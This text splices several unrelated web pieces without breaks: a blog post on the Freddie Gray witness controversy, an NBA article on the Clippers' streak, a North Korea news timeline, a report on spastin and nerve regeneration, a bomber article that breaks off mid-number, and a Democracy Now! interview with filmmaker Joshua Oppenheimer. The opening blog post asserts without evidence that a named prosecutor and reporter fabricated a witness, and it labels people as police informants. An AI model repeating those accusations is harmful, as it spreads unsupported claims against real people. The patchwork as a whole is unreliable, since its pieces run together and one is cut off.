As you can see, a confused Don Lemon reaches out to “the prosecutor” (likely Marilyn Mosby or perhaps Janice Bledsoe) and the Baltimore prosecutor confirms Donta Allen as the witness passenger in the transport van. Which leads to this confusing video:
Despite the brutal contradictions between what is factually known, and the claims by Donta in the video above, there is actually a way to reconcile them. Donta never saw Freddie Gray, Donta is projecting himself, via a belief into the story, based entirely on the flawed assumptions delivered by the pundits doing the questioning.
SO WHO IS HE? Original reports in the Baltimore media when the Freddie Gray story first broke, mentioned that two people were in the alley when approached by officers. Two people took off running in opposite directions. One person, Freddie Gray, was immediately caught. The other, was caught later in the day and released without incident.
All indications are that Donta Allen was this second person who fled, was caught/questioned, and then released. There is no evidence of Donta Allen ever being in custody on 04/12/15.
So how did this story come to the media, and why would the originator of Donta Allen to the public, WBAL-TV reporter Jayne Miller, sell it?
It is not coincidental Donta Allen appeared the day following the explosive Washington Post story.
Indeed by all accounts if the Washington Post story was accurate it seriously undermined the case against the Baltimore officers. Especially given the medical examiner stating that Freddie Gray’s injuries occurred INSIDE the transport vehicle during transit and not when he was stopped by police.
This is where State Attorney Marilyn Mosby’s main Deputy Attorney and lead investigator, Janice Bledsoe, comes in to play:
RE: MARILYN MOSBY […] Among other charges involving campaign contributions and Mosby’s marriage to City Council member Nick Mosby, the FOP said in a letter, “These conflicts … include the lead prosecutor’s connections with members of the local media. Based on several nationally televised interviews, these reporters are likely to be witnesses in any potential litigation regarding this incident.” […] Janice Bledsoe is the deputy state’s attorney who led the Freddie Gray investigation. Jayne Miller, investigative reporter for WBAL-TV, confirmed to a Sun reporter Friday that she is in a relationship with Bledsoe. (link)
Deputy State’s Attorney for Criminal Justice Janice Bledsoe [right], one of the two lead investigators in the death of Freddie Gray. Her partner is WBAL’s Jayne Miller [left]. (Jefferson Jackson Steele / )
It appears almost certain that Donta Allen was established then leaked to reporter Jane Miller by her girlfriend Deputy SA Janice Bledsoe in an effort to deflect attention from the concerns of the Washington Post story.
If you watch Donta’s various interviews you can see how he’s making it up as he goes along. In addition, according to the officers now speaking out, both Donta Allen and Freddie Gray were known LEO informants (snitches) as a consequence of their past drug encounters and arrests.
That is why despite Donta saying he was arrested (04/12 during the transport to central booking) there is no record for his arrival or arrest. He is playing a role and selling a story that benefits his community and those who would pressure him, ergo himself.
Whether reporter Jayne Miller knew she was presenting a fraud (duped), or was a willing partner to the efforts of her girlfriend Janice Bledsoe (co-conspirators) are unknown variables. How else would Ms. Miller find Donta Allen were it not for her partner Ms. Bledsoe.
However, someone needs to expose this fraud ASAP. Donta Allen was not in the paddy wagon with Freddie Gray – and his media story is false.
The actual witness to Freddie Gray’s activity while en-route to the booking facility is the 38-year-old Black Male arrested on 4/12/15 for charges of violating a protective order – and accurately outlined in the original Washington Post article.
Meanwhile if Head Baltimore Prosecutor Marilyn Mosby knew what her foot soldier Asst. Deputy Attorney Janice Bledsoe was doing, well, she should be immediately recused, reprimanded and perhaps even fired or disbarred.
LAST NIGHT
Megyn Kelly:
Sean Hannity:
AdvertisementsHANG TIME HEADQUARTERS — What the Los Angles Clippers are doing is just as impressive in person as it is from afar. Seriously, do you have any idea how difficult it is in the NBA to win every night with a schedule that is unrelenting and competition that, for the most part, is as tight as you could get on a given night?
The Clippers do and have managed their league-best 17-game win streak masterfully.
Does it mean they’ve arrived among the NBA’s truly elite? We won’t know that for sure until sometime in late April or early May, when this group fights off the pressure in the playoffs and advances without playing their very best. Does it mean they have officially replaced the Los Angeles Lakers as the top hoops draw in their own city? Of course, not. Lakers fans will simply remind you to look up in the rafters at Staples Center and start counting the banners.
But if this streak proves anything at all, it’s that Clippers coach Vinny Del Negro has figured out the best way to avoid the dreaded coaching hot seat he seemed to be on every other night when his team wasn’t winning all the time. In fact, he’s rarely been mentioned, good or bad, during the streak. And that’s probably the way he’d like to keep it.
The laws of NBA gravity suggest that this streak will have to end sometime soon. A grueling stretch of schedule that has the Clippers walking on hot coals — in Denver on Tuesday, the Nuggets are 9-1, in Oakland to face Golden State the next night, and then back in Los Angeles for another round of the City Championship series against the Lakers on Friday, followed the next night by a visit from the Warriors — just to survive the next six days.
It’s certainly doable for a team that went 16-0 this month. But adding four more wins this week against that schedule would be grounds for an investigation into extra-terrestrial assistance for a franchise that has never experienced the kind of hoops high the Clippers are these days.
Which brings us right back to Del Negro, whose navigated this mercurial stretch seamlessly. He’s allowed the Clippers’ entire cast of characters to play their roles to perfection. All-Stars Chris Paul and Blake Griffin lead the way, Caron Butler and DeAndre Jordan do some of the heavier lifting when they need to, as Butler did in Sunday’s win over the Utah Jazz with 29 points, while the league’s best bench (Jamal Crawford, Matt Barnes, Eric Bledsoe and the boys) continue to crash open close games with their wave on non-stop energy.
You don’t win 17 straight games without someone knowing when to and when not to push, as Crawford told the Orange County Register after No. 17:
“Everybody here has a decent body of work in some way shape or form,” Crawford said. “They’ve proven something somewhere in the NBA. With that is a confidence that a player has, and there are egos involved.”For him to be able to manage that and put people in the right positions and use people to their strengths, he deserves a lot of credit.” Del Negro has juggled a rotation full of veterans without much drama, but he’s established roles for everyone from Paul to Ryan Hollins. “Guys get frustrated sometimes not playing as much, but it’s about the team winning games,” Del Negro said. One thing Del Negro has done is allow players to operate in their areas of strength. “He just tells me to be me. It’s been awhile since I was told to just be me,” Ronny Turiaf said. “I think it goes back to the Laker days when Phil (Jackson) told me, ‘Ronny, just go out there and play. I trust your basketball I.Q. I trust your basketball knowledge to be able to make plays for us.'” Utah coach Tyrone Corbin said managing a roster with so many guys who are capable could present challenges down the road. “It’s difficult. It’s a good and a bad thing to be in,” Corbin said. “Guys want to play, especially good guys who have had great careers and still think they have something to offer. Things are going well so they all want to be a part of it. It’s easier to manage their minutes, when things are going well.” Said Crawford of Del Negro: “For him to have the pulse of the team and feel the team and the stuff he draws up, he has us believing we can win every single day.”
Do it every single day this week and someone can toss Del Negro’s hot seat into the ocean sometime late Saturday night!
Category: HT News / Tags:, Blake Griffin, Caron Butler, Chris Paul, DeAndre Jordan, Eric Bledsoe, Jamal Crawford, Los Angeles Clippers, Los Angeles Lakers, Matt Barnes, Orange County Register, Phil Jackson, Ronny Turiaf, Ryan Hollins, Sekou Smith, Tyrone Corbin, Vinny Del Negro / 53 Comments on Del Negro Stays Clear Of Hot Seat /next Image 1 of 2
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The Latest on the North Korea crisis (all times local):
10:45 a.m.
The South Korean president says the North Korean nuclear crisis must "absolutely be solved peacefully" and there can be no U.S. military moves without South Korean consent.
Moon Jae-in, a liberal who favors engagement with the North, delivered a nationally televised speech Tuesday on the anniversary of the end of World War II and the Korean Peninsula's liberation from Japanese colonial rule.
North Korea has said its military presented leader Kim Jong Un with plans to launch missiles into waters near Guam. But its comments appeared to signal a path to defuse the crisis by saying Kim would watch U.S. conduct before giving his orders.
Moon said his South Korean government "will put everything on the line to prevent another war in the Korean Peninsula." He says the "North Korean nuclear program should absolutely be solved peacefully, and the (South Korean) government and the U.S. government don't have a different position on this."
___
6:30 p.m.
North Korea says leader Kim Jong Un was briefed on his military's plans to launch missiles in waters near Guam days after the Korean People's Army announced its preparing to create "enveloping fire" near the U.S. military hub in the Pacific.
The Korean Central News Agency said Tuesday that Kim during an inspection of the KPA's Strategic Forces praised the military for drawing up a "close and careful" plan. Kim said he will give order for the missile test if the United States continues its "extremely dangerous actions" on the Korean Peninsula.
The KPA's Strategic Forces said last week it would finalize by mid-August a plan to fire four intermediate ballistic missiles near Guam and send it to Kim for his approval
___
8:10 a.m.
The top U.S. military officer says the United States wants to peacefully resolve a deepening standoff with North Korea but is also ready to use the "full range" of its military capabilities in case of provocation.
The comments by Marine Corps Gen. Joseph Dunford in meetings Monday with senior South Korean military and political officials appeared to be an attempt to ease anxiety over tit-for-tat threats between President Donald Trump and North Korea while also showing a willingness to back up Trump's warnings if necessary.
Dunford, the chairman of the Joint Chiefs of Staff, said that the U.S. is "seeking a peaceful resolution to the crisis."
Dunford is visiting South Korea, Japan and China after a week in which Trump said he was ready to unleash "fire and fury" if North Korea continued to threaten the United States.A gene that is associated with regeneration of injured nerve cells has been identified by a team of researchers led by Prof Melissa Rolls of Penn State University.
The team has found that a mutation in a single gene can entirely shut down the process by which axons – the parts of the nerve cell that are responsible for sending signals to other cells – regrow themselves after being cut or damaged.
“We are hopeful that this discovery will open the door to new research related to spinal-cord and other neurological disorders in humans,” said Prof Rolls, who co-authored a paper published online in the journal Cell Reports.
“Axons, which form long bundles extending out from nerve cells, ideally survive throughout an animal’s lifetime. To be able to survive, nerve cells need to be resilient and, in the event of injury or simple wear and tear, some can repair damage by growing new axons,” Prof Rolls explained.
Previous studies suggested that microtubules – the intracellular ‘highways’ along which basic building blocks are transported – might need to be rebuilt as an important step in this type of repair.
“In many ways this idea makes sense: in order to grow a new part of a nerve, raw materials will be needed, and the microtubule highways will need to be organized to take the new materials to the site of growth,” Prof Rolls said.
The team therefore started to investigate the role of microtubule-remodeling proteins in axon regrowth after injury. In particular, they focused on a set of proteins that sever microtubules into small pieces. Out of this set, a protein named spastin emerged as a key player in axon regeneration.
“The fact that the spastin protein plays a critical role in regeneration is particularly intriguing because, in humans, it is encoded by a disease gene called SPG4,” Prof Rolls said. “When one copy of this gene is disrupted, affected individuals develop hereditary spastic paraplegia (HSP), which is characterized by progressive lower-limb weakness and spasticity as the long-motor axons in the spinal cord degenerate. Thus, identifying a new neuronal function for spastin may help us to understand this disease.”
To study the role of spastin, the team chose the fruit fly as their model organism.
“On the molecular level, many of the processes associated with nerve-cell growth and regrowth are the same in humans as in fruit flies,” Prof Rolls said. “And, like all other animals including humans, fruit flies have two copies of every gene – one from each parent – so different combinations of each gene can lead to different observable traits.”
The team members bred three genetically distinct groups of fruit flies in the laboratory to observe how various spastin gene combinations might affect the behavior of nerve cells after injury. The first group of flies had two normal copies of the gene; the second had one normal copy and one mutant copy; while the third had two mutant copies. Then, in all three groups, the scientists cut the axons of the flies’ nerve cells and observed the regeneration process.
“In fruit flies with two normal copies of the gene, we observed that severed axons elegantly reassembled themselves. This process is supposed to take place if the fly is to heal from nerve trauma since life events, as well as wear and tear, tend to cause such damage,” Prof Rolls said. “But, interestingly, in the other two groups – the fruit flies with two or even one abnormal spastin gene – there was simply no regrowth, indicating that what we have here is a dominant problem.”
The scientists also found that an impaired spastin gene affected only how the axons regrew after being severed. That is, the gene did not seem to play a role in the developmental stage when axons were being assembled for the first time. In addition, the researchers found that, while the gene affected the flies’ axons, their dendrites – the parts of the neuron that receive information from other cells and from the outside world – continued to function and repair themselves normally.
“Now that we know that spastin plays an important role in axon regeneration and also that this gene is dominant, we have opened up a possible path toward the study of human diseases involving nerve-cell impairment,” Prof Rolls said. “In fact, our next step is to probe the link between hereditary spastic paraplegia (HSP) and axon regeneration.”
“The SPG4 gene that encodes human spastin is only one of the disease genes associated with HSP, so we now are testing whether other disease genes also play a role in nerve-cell regeneration,” Prof Rolls said.
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Bibliographic information: Michelle C. Stone et al. Normal Spastin Gene Dosage Is Specifically Required for Axon Regeneration. Cell Reports, 01 November 2012; doi: 10.1016/j.celrep.2012.09.032Serial production of Russia’s upgraded Tupolev Tu-160M2 long-range supersonic strategic bomber is slated to kick off in 2020, according to a Russian defense industry source.
The Tu-160M2 supersonic strategic bomber is an upgraded version of the older Tu-160 heavy strategic bomber, which in 1987 became the last strategic bomber to enter service prior to the collapse of the Soviet Union. There are only 16 Tu-160s currently in service with the Russian Air Force, with about half of that number operational.
The source also told TASS news agency that defense authorities plan to roll out two to three upgraded bombers per year, confirming earlier reports about the aircraft’s likely production schedule. The Russian Air Force plans to acquire up to 50 new Tu-160M2s.
In a television interview on April 11, the head of Russia’s Aircraft-Building Corporation, Yuri Slyusar, said: “We are concluding R&D work in 2021 and starting from 2022 we are beginning the serial production of these machines. We are discussing the exact figure with the customer. I believe their number will range from 30 to 50 machines.”
The upgrade will include a complete overhaul of the aircraft, as I explained previously:
The bomber will presumably be fitted with new avionics, sensors, displays, and communications systems, as well as new operating software, although Russia has not revealed any specific details about the upgrades save for the aircraft’s engines. (…) Given the bomber’s limited stealth capability, it will presumably be armed with long-range standoff cruise missiles such as the Kh-101/Kh-102 (nuclear variant) air-launched cruise missile with an estimated range of 2,700 to 5 |
squad leaders and worked with them to re-enact the real-life killings. The film went on to be nominated for an Academy Award for Best Documentary.
In his new film, The Look of Silence, Oppenheimer revisits the scenes of the crimes while focusing on the victims of the genocide. The film follows one family as it attempts to confront the murderers, many of whom are still in power since there has been no official reconciliation process in Indonesia. This is the trailer for The Look of Silence.
UNIDENTIFIED: [translated] No, I don’t think it’s a big problem.
ADI RUKUN: [translated] But a million people were killed.
UNIDENTIFIED: [translated] That’s politics.
ADI RUKUN: [translated] Mom, how do you feel living, surrounded by your son’s killers? In our village, the mayor, the teachers, they were all killers. Are your neighbors afraid of you?
INONG SUNGAI ULAR: [translated] They’re scared of me. They know they’re powerless against me.
ADI RUKUN: [translated] My story is, my brother was killed, too.
AMIR SIAHAAN: [translated] Adi, where did your brother live?
ADI RUKUN: [translated] I’m sorry, I won’t tell you.
AMIR SIAHAAN: [translated] Just tell me. It’s OK.
UNIDENTIFIED: [translated] If you keep making an issue of the past, it will definitely happen again.
ADI RUKUN: [translated] If I came to you like this during the military dictatorship, what would you have done to me?
AMIR SIAHAAN: [translated] You can’t imagine what would have happened.
AMY GOODMAN: That’s the trailer for The Look of Silence. The Oscar-nominated director Joshua Oppenheimer was in New York for the release of the movie. He came by the Democracy Now! studio on the day The Look of Silence was released. I started by asking him about the title of the film.
JOSHUA OPPENHEIMER: The Look of Silence really defines a project, for me, which was to show what this invisible thing, silence, a silence born of fear, looks like. What is it like for human beings to have to live for 50 years afraid? Trying to give vision to that silence and to that fear was what kind of defined the film’s project. And I had the title long before I had the title The Act of Killing, in fact. And then, of course, there’s this other layer of meaning, because it follows one survivor of the killings, Adi Rukun, the main character in the film, as he goes and visits the men who killed his brother, still in power, and tries to get them to take responsibility for what they’ve done, while testing their eyes. And so emerges—he’s an optometrist. And so emerges this kind of metaphor for blindness, which was also there for me in the title. The men are willfully blind to the meaning of what they’ve done, and he’s trying to help them see.
AMY GOODMAN: So now let’s step back, and give us the political context to this story. Talk about Indonesia.
JOSHUA OPPENHEIMER: So, in 1965, there was a military coup, sponsored and supported by the West—the United States, the United Kingdom, Australia, Japan—with the United States taking a key role. And there was the charismatic first president of Indonesia, a populist, left-leaning populist, named Sukarno, and the founder of the Non-Aligned Movement, the movement within the—during the Cold War that was trying to chart a kind of third way, an independent path neither aligned with the Soviet Union nor the West. He’s the president, Sukarno, who—the president who led Indonesia out from Dutch colonialism. He’s the founding father of Indonesia. He was overthrown in a military coup where, within like six months, somewhere between half a million and three million people were killed. Every opponent of the new—or potential opponent of the new military dictatorship—trade union leaders, intellectuals, teachers, the ethnic Chinese, members of the farmers’ cooperative, leaders of the Indonesian women’s movement—were rounded up, put in concentration camps, and then a great many of them dispatched out to be killed.
AMY GOODMAN: And talk about your first film, what you covered there, and what you’re covering with this film.
JOSHUA OPPENHEIMER: So, in 2003, I began my work on the 1965 genocide and, more importantly, its present-day legacy. It’s the current regime of fear and thuggery and corruption. And I began that work, actually, in collaboration with Adi Rukun and his family, the family at the center of The Look of Silence. And they would gather survivors to tell me their stories. Some of them had never talked before about what they had been through. And when they would come to tell me their stories, they would arrive crying already, just at the thought of speaking about what they’d experienced. And they would, in this very vulnerable state, share with me what they had been through.
But after three weeks, the army came and threatened all of the survivors not to participate in the film. And Adi responded by calling me to a midnight meeting in his parents’ house and saying, “Please don’t give up. Try to film the perpetrators.” I went, afraid at first, to approach the perpetrators, but when I did, I found that they were open—not just open, but they were immediately boastful about the worst details of what they’d done. When I showed this back to Adi, he said, “Continue to film the perpetrators.” And then, so did the rest of the Indonesian human rights community, saying, “Film the perpetrators and expose the terrible the scent that the genocide hasn’t really ended, because the perpetrators are still in power and millions of people’s lives are still being destroyed by fear and silence.” And so, I then spent seven years working with the perpetrators.
And what begins with them taking me to their places where they killed and launching into spontaneous demonstrations of how they killed gradually evolved into something much more surreal, maybe even a much vaster project, where to try and understand why they’re boasting, why they’re open, for whom they’re boasting, how they want to be seen, how they really see themselves, I gave them the chance—or I asked them to dramatize what they had done, in whatever ways they wish, in order to show essentially the lies, the fantasies, the stories that the perpetrators tell themselves so they can live with themselves, and the terrible consequences of these lies on the whole society.
AMY GOODMAN: Joshua Oppenheimer, talking about his new film, The Look of Silence. We’ll be back with him in a minute.
[break]
AMY GOODMAN: This is Democracy Now!, democracynow.org, The War and Peace Report. I’m Amy Goodman, as we continue our conversation with the award-winning filmmaker Joshua Oppenheimer, director of the new film, The Look of Silence, about the U.S.-backed genocide in Indonesia during the 1960s that led to the deaths of more than a million Indonesians. I asked Oppenheimer about his first feature film, The Act of Killing, which was nominated for an Academy Award for Best Documentary.
JOSHUA OPPENHEIMER: The Act of Killing, my first film, follows one death squad leader, who killed a thousand people, perhaps, as he sets about dramatizing his memories, his experiences of genocide as a way of somehow desperately trying to cling to the lies that this whole regime has told and imposed on the whole society. And as he goes through that process, gradually he comes to see, through his own dramatizations, that these are lies. And he has this wrenching confrontation with his own conscience. And as all of Anwar’s personal lies collapse, for Indonesia, the national lie, that this was heroic, also collapses.
AMY GOODMAN: Let’s go to a trailer from The Act of Killing. HERMAN KOTO: [translated] Cut! Cut! Cut! You acted so well, but you can stop crying now. ADI ZULKADRY: [translated] “War crimes” are defined by the winners. I’m a winner. SURYONO: [translated] Have mercy on me! ANWAR CONGO: [translated] Honestly, I never expected it to look this brutal. I can’t do that again. UNIDENTIFIED: [translated] Kill! ANWAR CONGO: [translated] I did this to so many people. Have I sinned?
AMY GOODMAN: That’s the Oscar-nominated film, The Act of Killing. And, Joshua, I mean, the danger in doing what you have done—yes, the perpetrators spoke to you, the victims spoke to you. Talk about the chronology. You made The Act of Killing. All of these killers participated and were proud of what they did. And what did you do in the wake of this?
JOSHUA OPPENHEIMER: Then I went—I returned to make, in a sense, the film that I set out to make at the beginning, at least thematically, a film that explores what does it do—what is it like for the survivors to have to live in the midst of the still-powerful killers, in fear. And when I returned, I had no idea that I would be filming a survivor as he goes and confronts the men who killed his brother. When Adi proposed that, he said to me, “Joshua, I’ve spent seven years watching your footage with the perpetrators, and it’s changed me. I need to go and meet the men who killed my brother.” At first, reflexively, instantly, I said, “Absolutely not. It’s too dangerous. There has never been a film where survivors confront perpetrators who are still in power. It’s never been done before. We cannot do it.”
And Adi explained to me that he was hoping to visit—he was hoping that if he could visit the perpetrators, and if they could take responsibility for what they’ve done, he would somehow be able to reconcile himself with his neighbors, that they would—that the men who killed his brother, the men who had been terrorizing his family for half a century, would welcome his arrival as this chance to make peace with their neighbors and to take—and to find forgiveness from one of their victims’ families. I was doubtful that that would happen, but I realized that if we could show why we failed, if we could show what I thought would happen, which is that the perpetrators get defensive and angry and fearful and threaten us, and if we could somehow do this safely, we would be able to show how torn this society is, how urgently truth, reconciliation and justice are needed.
And we realized that because I had made The Act of Killing, but it had not yet screened, because I was—I was therefore believed to be close to some of the most powerful men in the country and some of the most powerful perpetrators in the country: the vice president of the country, who’s in The Act of Killing; leaders of the paramilitary—national leaders of the paramilitary movement that committed the killings with the army; ministers in the cabinet. I was believed—people thought, because they hadn’t seen The Act of Killing yet, but they knew I had made this film with them, that these were my friends. And we realized that because of that, the men Adi wanted to confront are regionally powerful, not nationally powerful, and they would be unlikely to detain us, and certainly, let alone physically attack us, and that this was what would allow us to do this unprecedented thing of confronting the perpetrators while they still hold power.
AMY GOODMAN: So you made the film after The Act of Killing, but before it was shown around the country.
JOSHUA OPPENHEIMER: That’s right. We had this window after we finished editing The Act of Killing. We knew that we wouldn’t be able to return again after it—we wouldn’t be able to return safely after the film came out, so we had to shoot the second film in the interim.
AMY GOODMAN: Tell us who Adi is and who his brother, Romli, is.
JOSHUA OPPENHEIMER: So, Romli was the leader of the—the village head of a farmers’ cooperative. And just for that, he was seen as a likely opponent to the new dictatorship and was killed.
AMY GOODMAN: And where did he live?
JOSHUA OPPENHEIMER: In this small village in North Sumatra in the middle of a vast area of oil palm and rubber plantations. And what was unique about his murder was not so much his—what was unique about him, about his story, was not so much his position, but the fact that his was one of the only murders that had witnesses. Tens of thousands of other people from that region had been taked to rivers, killed, and their bodies allowed to drift out to see, and their families were never told what happened. Like the relatives of the disappeared in Latin America, they then were unable to grieve, unable to mourn. They couldn’t even say that their loved ones had died. All they could say is they hadn’t come home yet, belum pulang in Indonesian, which meant that they were—they lived in this prison of cognitive dissonance, where they knew their loved—that the person must be dead, but couldn’t say it. And a small part of that grief, they could articulate by talking about Romli. So, over the decades, from 1965 until I first arrived in 2003 and started working on this, over the decades, Romli became a kind of synonym for the genocide as a whole.
And when I started this work, I was introduced to his family. Romli’s mother and father immediately wanted me to meet Adi. They said, “He’s Romli’s replacement.” We were—Romli’s mother said, “I was going crazy after Romli was murdered. And because I had Adi, I was able to somehow continue to live.” And she said, “He talks like Romli, looks like Romli, acts like Romli. You must meet him.” She called into the village, and I met this young man, born after the killings, not as afraid as the rest of his family, because he hadn’t experienced the killings firsthand, who was desperate to understand what happened. All he knew was the government propaganda justifying what had happened, and he knew the story of Romli’s murder, which he would hear again and again and again from his mother. She couldn’t stop telling the story. It was like an echo, he would say, that would never fade. And he wanted to understand what happened to his mother, to his father, to his village, and so he latched on to my filmmaking as a way of answering these questions.
AMY GOODMAN: Introduce this first clip of Adi’s mother.
JOSHUA OPPENHEIMER: So, in this first scene, we see here Adi asking his mother, while she’s cutting tamarind fruits in her garden, what it’s like to be surrounded by the men who killed her son, Romli, and what it’s like to live in a space of silence and fear, haunted by the ghosts of the unburied dead, really.
AMY GOODMAN: The Look of Silence. ROHANI: [translated] They stole from their victims. Now they are rich. They killed the husband and took the wives. ADI RUKUN: [translated] How do you feel living surrounded by your son’s killers and see them every day? ROHANI: [translated] It’s horrible. When we meet in the village, we don’t speak. I hate them.
AMY GOODMAN: That is a clip of The Look of Silence, directed by Joshua Oppenheimer. So that is Adi’s mother being questioned by Adi, her son. What happened to Romli, her older son?
JOSHUA OPPENHEIMER: Well, Romli was taken from the prison, the holding prison from which people were dispatched out to be killed, where in fact he was guarded, we found out—we find out during the film, by his own uncle, by his mother’s brother, something the family didn’t know.
AMY GOODMAN: Until you made the film.
JOSHUA OPPENHEIMER: Until we were actually—one day Adi decided he would go and visit his uncle and test his eyes as a favor that he’d promised, and started asking about what—because I was there, started asking what his uncle remembered of that time. And his uncle just volunteered it.
So he was dispatched out from the prison with a truckload of other people to be taken to North Sumatra’s Snake River and killed, a spot where 10,500 people were killed. And on the way, the truck had to pass the turnoff to his family’s home, and he panicked, because he realized what was happening and perhaps also because he was passing the road to his home. And there was a commotion on the truck. And because of that, two people escaped and survived. Everybody else, apart from Romli, was killed right there. Romli was injured and managed to crawl home through rice fields about a mile to the house, to his parents’ home, where his mother took him in and tried desperately to keep him alive.
Two hours later, the death squad came with the army to pick him up, and clearly threatening to kill the whole family if Rohani, Romli’s mother, didn’t turn him over. And to sort of make it easier for her, but in a terrible way, ultimately making it much harder, the death squad leader said, “We’re taking him to the hospital.” And she knew it was a lie, but in order to do what she had to do in that moment, which was to give up her son, she had to somehow believe it was true in that moment, terribly making her a kind of, in her own mind, a collaborator in that moment. And that story has therefore, I think, never faded. It’s just—she repeats it like a mantra, like a—not like a mantra, like something—just this horrible thing that she can’t—that she needs to have heard and she can’t let go of, all the time.
AMY GOODMAN: And what did they do to him?
JOSHUA OPPENHEIMER: They took him from the house. They brought him to a nearby river, because day was breaking and the official site for killing had closed for the night. And they took him to a nearby stream. They hacked him up, left him for dead. He wasn’t dead. He was calling for help. A crowd gathered. So they came back. They fished him out of the river, took him into the palm plantation and killed him. And his father’s co-workers—his father worked on the plantation—saw the body the next day and informed the family where the body was. And so now there’s a grave, a small grave, there.
AMY GOODMAN: His father is also a key figure in your film, though he is not really speaking.
JOSHUA OPPENHEIMER: Yeah, he becomes—in fact, it was part of how Adi persuaded me that we ought to film, that we ought to confront the perpetrators. When I said, “No, it’s not possible,” Adi showed me a—”because it’s too dangerous,” Adi showed me a scene that he shot with a small camera I had given him to use as a kind of notebook to look for images that might inspire the making of this film a couple years earlier. And he showed me this scene where his father is lost in his own home. It’s the only scene in the film that Adi shot.
He’s crawling through his own home, lost, calling for help. And Adi told me that—thinking he’s in a stranger’s house and could be beaten up. And Adi told me that his father—that, essentially, his father had forgotten the son whose murder destroyed his life and his family’s life, but he hadn’t forgotten the fear. He’s trapped in a kind of prison of fear, because he can’t—and he’ll never be able to heal, because he can’t remember what happened. He’ll never be able to work through it. He’ll never be able to move beyond it. And so he’s like a man locked in a room, who can’t find the door even, let alone the key. And he said to me, “You see, if I can only meet the perpetrators, they will—and if they can accept what they’ve done is wrong, and I could forgive them, then my children will not have to grow up afraid of their neighbors.”
And I understood two things then. I understood that the perpetrators won’t apologize. In The Act of Killing, I worked for five years with the main character, Anwar Congo, and at the end of that process, he’s retching over his own guilt, but he’s still, in the uncut version of the film, the so-called director’s—what’s out in the United States on Netflix as the director’s cut, but which is the version that came out in Indonesia and around the world outside the United States, while he’s retching, he’s still saying—he’s still saying, “My conscience told me they had to be killed.” He’s still lying to himself. And I had this feeling that if Anwar, after five years, even while he’s retching, can’t admit what he did was wrong, somehow these men will not get there in an hour and a half with Adi, the men Adi wants to meet. So I realized that we wouldn’t get the apology. But if I could show the human—complex human reactions that are inevitable when you go into someone’s home and say, “You’ve killed my brother. Can you take responsibility?”—the shame, the guilt, the fear of their own guilt, and then the defensiveness, the anger, the threats—if I can show that, then I can show, essentially, the previously invisible abyss dividing every Indonesian from each other.
And I also realized, from this clip that Adi showed me of his father, that this must be much more than just a film about impunity and survivors living side by side with perpetrators who are still in power. It must also be a kind of poem about memory and oblivion, about—a poem composed in perhaps in memoriam to all that’s destroyed, not just the dead, who can’t be wakened, but the lives that have been destroyed by 50 years of fear and silence that can never be made whole again.
AMY GOODMAN: So let’s go to the second clip that we have in The Look of Silence. Adi is going to the man who killed his brother, Romli.
JOSHUA OPPENHEIMER: Yeah, here we meet Adi confronting the commander of the death squads that were operating in Snake River, a man who told me that he deserves a cruise to America, because it was America who taught him to hate and kill the communists. Then Adi goes and visits him and asks him to take responsibility for what he’s done. And we’ll see a moment of that. ADI RUKUN: [translated] You were leader of Komando Aksi in this region, so you were responsible for the mass killing here. Do people around here know that? AMIR SIAHAAN: [translated] Yes, they do. ADI RUKUN: [translated] The thing is, I—my older brother, he was killed, because you commanded the killings. AMIR SIAHAAN: [translated] It wasn’t really me. ADI RUKUN: [translated] You were responsible as leader of Komando Aksi. AMIR SIAHAAN: [translated] There were many Komando Aksi groups. ADI RUKUN: [translated] But you were the top leader. AMIR SIAHAAN: [translated] Komando Aksi was the people united with the army. And we had commanders above us. And we were protected by the government. So you can’t say I’m responsible. ADI RUKUN: [translated] Every killer I meet, none of them feel responsible.
AMY GOODMAN: That’s a clip of The Look of Silence. And explain exactly who this man is.
JOSHUA OPPENHEIMER: This man is the head of the civilian—was the head of the civilian death squads that were killing at Snake River. It’s a—working, recruited by the army. He’s from the same paramilitary group that’s at the center of my first film, The Act of Killing. His name is Amir Siahaan. And he would sign off the lists of people every night who had to be killed. And between him and his deputies, 10,500 people were killed in this one spot. He personally signed off, he says, about 600 people, but that’s only because it wasn’t normally his job to do that. There were many more killed there. After Adi tells him—and we saw a glimpse of this in the trailer, the beginning, a little earlier—after Adi says, “I think you’re not taking responsibility,” he becomes very angry and starts asking, “Well, where do you live?” And Adi won’t tell him. And Adi then says, “Well, what would you have done to me if I came during the military dictatorship?” And he says, “You can’t imagine it,” and then says, “You see, the real danger is not the known communists, who have been under surveillance and terrorized for decades, and therefore unlikely to speak out. The real dangers are the secret communists, and perhaps this film is a secret communist activity.” And he says, “Just continue,” threateningly, “continue with your secret communist activity. Go on.”
AMY GOODMAN: And this is actually Adi’s neighbor.
JOSHUA OPPENHEIMER: Yeah, it’s—their houses are within minutes of each other.
AMY GOODMAN: Oscar-nominated filmmaker Joshua Oppenheimer, director of the new film, The Look of Silence, which has opened around the country. It’s being called a masterpiece. This is Democracy Now! We’ll be back with Oppenheimer in a moment.
[break]
AMY GOODMAN: “Arum Bandung,” here on Democracy Now!, democracynow.org, The War and Peace Report. I’m Amy Goodman, as we continue my conversation with the Oscar-nominated filmmaker, director Joshua Oppenheimer. I asked him to talk about the dangers of making his new film, The Look of Silence. In both The Look of Silence, which is about the victims of the U.S.-backed Indonesian genocide, as well as the film The Act of Killing, about the perpetrators, the credits all are listed—many of them are listed as anonymous.
JOSHUA OPPENHEIMER: Yeah, throughout the shooting of the film and the editing of the film and then the release of the film, we knew we were prepared to stop, after every scene. Adi—in preparation for the scenes with the highest-ranking commanders, we would have a second car available to use as a getaway vehicle, so we’d be harder to follow, should we have to flee. Adi’s family would be at the airport, ready to evacuate if there was any sign of threat that would persist after we left. And about six months before the film had its first screening at the Venice Film Festival, we met with Adi, his family, the whole team that released The Act of Killing, human rights activists and my crew in Thailand, because I could already no longer safely return to Indonesia, to watch a rough cut of the film and discuss whether we shouldn’t bring the film out at all until the perpetrators have died or until there’s real change in Indonesia, or whether we should bring the film out, but Adi’s family should move to Europe for a while, which is where I’m based.
In the end, we decided—in the end, Adi’s family saw the film and said, “This film must come out now,” because there was such momentum from The Act of Killing for change in this area. The government of Indonesia had already, as a—in response to The Act of Killing's Oscar nomination, had said, “Look, we know what happened in 1965 was a crime against humanity. We know we need reconciliation. We don't need a film to push us into this. We’ll do it in our own time.” But it was a wonderful moment, because it was the first time they had admitted it was wrong. The media and the public were now talking openly about the genocide as a genocide. And it was time—
AMY GOODMAN: But The Act of Killing, you first had these underground showings in Indonesia.
